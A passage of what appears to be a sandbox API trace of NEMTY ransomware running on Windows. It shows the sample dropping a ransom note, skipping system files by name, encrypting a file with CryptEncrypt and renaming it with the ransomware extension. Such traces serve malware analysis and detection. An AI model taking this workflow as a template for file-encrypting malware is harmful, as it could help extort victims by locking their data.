lpMultiByteStr=0x653ef10, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Javascripts", lpUsedDefaultChar=0x0) returned 11 [0172.474] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0172.474] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Javascripts", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0172.474] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Javascripts", cchWideChar=11, lpMultiByteStr=0x653ef10, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Javascripts", lpUsedDefaultChar=0x0) returned 11 [0172.474] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0172.475] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.475] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94178 [0172.475] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94200 | out: hHeap=0x4f90000) returned 1 [0172.475] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94200 [0172.475] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0172.475] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0172.475] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.475] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0172.475] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0172.475] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.475] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94288 [0172.475] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0172.475] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x4f94330 [0172.475] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94288 | out: hHeap=0x4f90000) returned 1 [0172.475] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Javascripts\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\javascripts\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ec [0172.475] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94330 | out: hHeap=0x4f90000) returned 1 [0172.475] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0172.475] WriteFile (in: hFile=0x1ec, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653eec0, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653eec0*=0xef8, lpOverlapped=0x0) returned 1 [0172.476] CloseHandle (hObject=0x1ec) returned 1 [0172.476] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0172.476] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94200 | out: hHeap=0x4f90000) returned 1 [0172.476] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94200 [0172.476] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94288 [0172.477] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94310 [0172.477] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0172.477] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0172.477] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0172.477] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0172.477] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.477] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0172.477] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0172.477] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.477] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63400f0 [0172.477] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0172.477] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Javascripts\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\javascripts\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ec [0172.478] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0172.478] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0172.478] WriteFile (in: hFile=0x1ec, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653eb80, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653eb80*=0xef8, lpOverlapped=0x0) returned 1 [0172.478] CloseHandle (hObject=0x1ec) returned 1 [0172.478] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0172.478] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0172.478] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94310 [0172.478] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Javascripts\\*.*", lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ffe6ce0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x1a72a6b0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1a72a6b0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName=".", cAlternateFileName="")) returned 0x3423a70 [0172.479] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0172.479] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ffe6ce0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x1a72a6b0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1a72a6b0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="..", cAlternateFileName="")) returned 1 [0172.479] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0172.479] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0172.479] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8000ce40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x121ba8, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="JSByteCodeWin.bin", cAlternateFileName="JSBYTE~1.BIN")) returned 1 [0172.479] lstrcmpiW (lpString1="JSByteCodeWin.bin", lpString2=".") returned 1 [0172.479] lstrcmpiW (lpString1="JSByteCodeWin.bin", lpString2="..") returned 1 [0172.479] lstrcmpiW (lpString1="JSByteCodeWin.bin", lpString2="...") returned 1 [0172.479] lstrcmpiW (lpString1="JSByteCodeWin.bin", lpString2="windows") returned -1 [0172.479] lstrcmpiW (lpString1="JSByteCodeWin.bin", lpString2="$RECYCLE.BIN") returned 1 [0172.479] lstrcmpiW (lpString1="JSByteCodeWin.bin", lpString2="rsa") returned -1 [0172.479] lstrcmpiW (lpString1="JSByteCodeWin.bin", lpString2="NTDETECT.COM") returned -1 [0172.479] lstrcmpiW (lpString1="JSByteCodeWin.bin", lpString2="ntldr") returned -1 [0172.479] lstrcmpiW (lpString1="JSByteCodeWin.bin", lpString2="MSDOS.SYS") returned -1 [0172.479] lstrcmpiW (lpString1="JSByteCodeWin.bin", lpString2="IO.SYS") returned 1 [0172.479] lstrcmpiW (lpString1="JSByteCodeWin.bin", lpString2="boot.ini") returned 1 [0172.479] lstrcmpiW (lpString1="JSByteCodeWin.bin", lpString2="boot.ini") returned 1 [0172.479] lstrcmpiW (lpString1="JSByteCodeWin.bin", lpString2="AUTOEXEC.BAT") returned 1 [0172.479] lstrcmpiW (lpString1="JSByteCodeWin.bin", lpString2="ntuser.dat") returned -1 [0172.479] lstrcmpiW (lpString1="JSByteCodeWin.bin", lpString2="desktop.ini") returned 1 [0172.479] lstrcmpiW (lpString1="JSByteCodeWin.bin", lpString2="CONFIG.SYS") returned 1 [0172.479] lstrcmpiW (lpString1="JSByteCodeWin.bin", lpString2="RECYCLER") returned -1 [0172.479] lstrcmpiW (lpString1="JSByteCodeWin.bin", lpString2="BOOTSECT.BAK") returned 1 [0172.479] lstrcmpiW (lpString1="JSByteCodeWin.bin", lpString2="bootmgr") returned 1 [0172.479] lstrcmpiW (lpString1="JSByteCodeWin.bin", lpString2="programdata") returned -1 [0172.479] lstrcmpiW (lpString1="JSByteCodeWin.bin", lpString2="appdata") returned 1 [0172.479] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0172.479] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="JSByteCodeWin.bin", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0172.480] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.480] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="JSByteCodeWin.bin", cchWideChar=17, lpMultiByteStr=0x4f9ecb8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="JSByteCodeWin.bin", lpUsedDefaultChar=0x0) returned 17 [0172.480] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.480] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0172.480] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="JSByteCodeWin.bin", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0172.480] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.480] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="JSByteCodeWin.bin", cchWideChar=17, lpMultiByteStr=0x4f9ecb8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="JSByteCodeWin.bin", lpUsedDefaultChar=0x0) returned 17 [0172.480] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.480] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0172.480] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0172.480] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0172.480] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="JSByteCodeWin.bin", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0172.480] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.480] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="JSByteCodeWin.bin", cchWideChar=17, lpMultiByteStr=0x4f9ecb8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="JSByteCodeWin.bin", lpUsedDefaultChar=0x0) returned 17 [0172.480] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0172.480] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0172.480] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="JSByteCodeWin.bin", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0172.480] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0172.480] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="JSByteCodeWin.bin", cchWideChar=17, lpMultiByteStr=0x4f9ed08, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="JSByteCodeWin.bin", lpUsedDefaultChar=0x0) returned 17 [0172.480] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0172.480] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0172.480] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0172.480] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0172.480] Sleep (dwMilliseconds=0x5) [0172.487] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x1a750810, dwHighDateTime=0x1d561e8)) [0172.487] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x1a750810, dwHighDateTime=0x1d561e8)) [0172.487] GetLastError () returned 0xb7 [0172.487] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0172.487] GetLastError () returned 0xb7 [0172.487] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0172.487] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0172.487] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0172.487] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0172.487] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0172.487] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0172.487] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0172.487] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e91c | out: pszString="P+9WH1R7Pcb9Dl9QkdK7ZiXqk+1Fv8fpCASyeLwLMTXq9UWso50dV/zeaDmAbQWU\r\nC8U0J/W861gxd95mCPwRLnTBBKYMxdtzY52XlKytF0TMqqKXfsrK8ZGUku+MFg5x\r\nhs0XggbQYMuhrJ7lOHGqbx5C9NfLxVLeFcOIedjJZwTN8ERTw6JCV2qa2hEI+c6S\r\ni6BrhCaiqlNglmmG7IAylGIIg3/t3j5prtjqkN813Dzmw8OQQWqb9A9QOjkGeMq2\r\nnMVScxlbI50Dew31gj7XSKzkuIyRQH8Y1Yo4pL9qJ571eGj+oy2H2rbLEu079V40\r\n/+8mXf6bpSDOw79sHMWQtg==\r\n", pcchString=0x653e91c) returned 1 [0172.488] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0172.488] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0172.488] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0172.488] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0172.488] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0172.488] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0172.488] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Javascripts\\JSByteCodeWin.bin" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\javascripts\\jsbytecodewin.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0172.488] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=1186728) returned 1 [0172.488] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0172.488] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0172.488] ReadFile (in: hFile=0x254, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653eb64*=0x19000, lpOverlapped=0x0) returned 1 [0172.497] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0172.497] WriteFile (in: hFile=0x254, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653eb5c*=0x19000, lpOverlapped=0x0) returned 1 [0172.498] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0172.498] SetFilePointer (in: hFile=0x254, lDistanceToMove=1186728, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x121ba8 [0172.498] WriteFile (in: hFile=0x254, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653eb5c*=0x167, lpOverlapped=0x0) returned 1 [0172.501] CloseHandle (hObject=0x254) returned 1 [0172.501] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0172.501] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0172.502] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0172.502] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0172.502] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0172.502] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0172.502] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0172.502] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0172.502] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0172.502] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0172.502] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Javascripts\\JSByteCodeWin.bin" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\javascripts\\jsbytecodewin.bin"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Javascripts\\JSByteCodeWin.bin._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\javascripts\\jsbytecodewin.bin._nemty_kgobjgd_")) returned 1 [0172.502] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0172.502] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0172.502] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0172.502] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0172.502] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0172.502] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0172.502] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0172.502] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0172.502] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0172.502] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.502] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a72a6b0, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x1a72a6b0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1a72a6b0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0172.503] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0172.503] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0172.503] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0172.503] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0172.503] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0172.503] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0172.503] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0172.503] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0172.503] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0172.503] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0172.503] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0172.503] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0172.503] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0172.503] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0172.503] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0172.503] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0172.503] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0172.503] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0172.503] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0172.503] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0172.503] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0172.503] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0172.503] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0172.503] 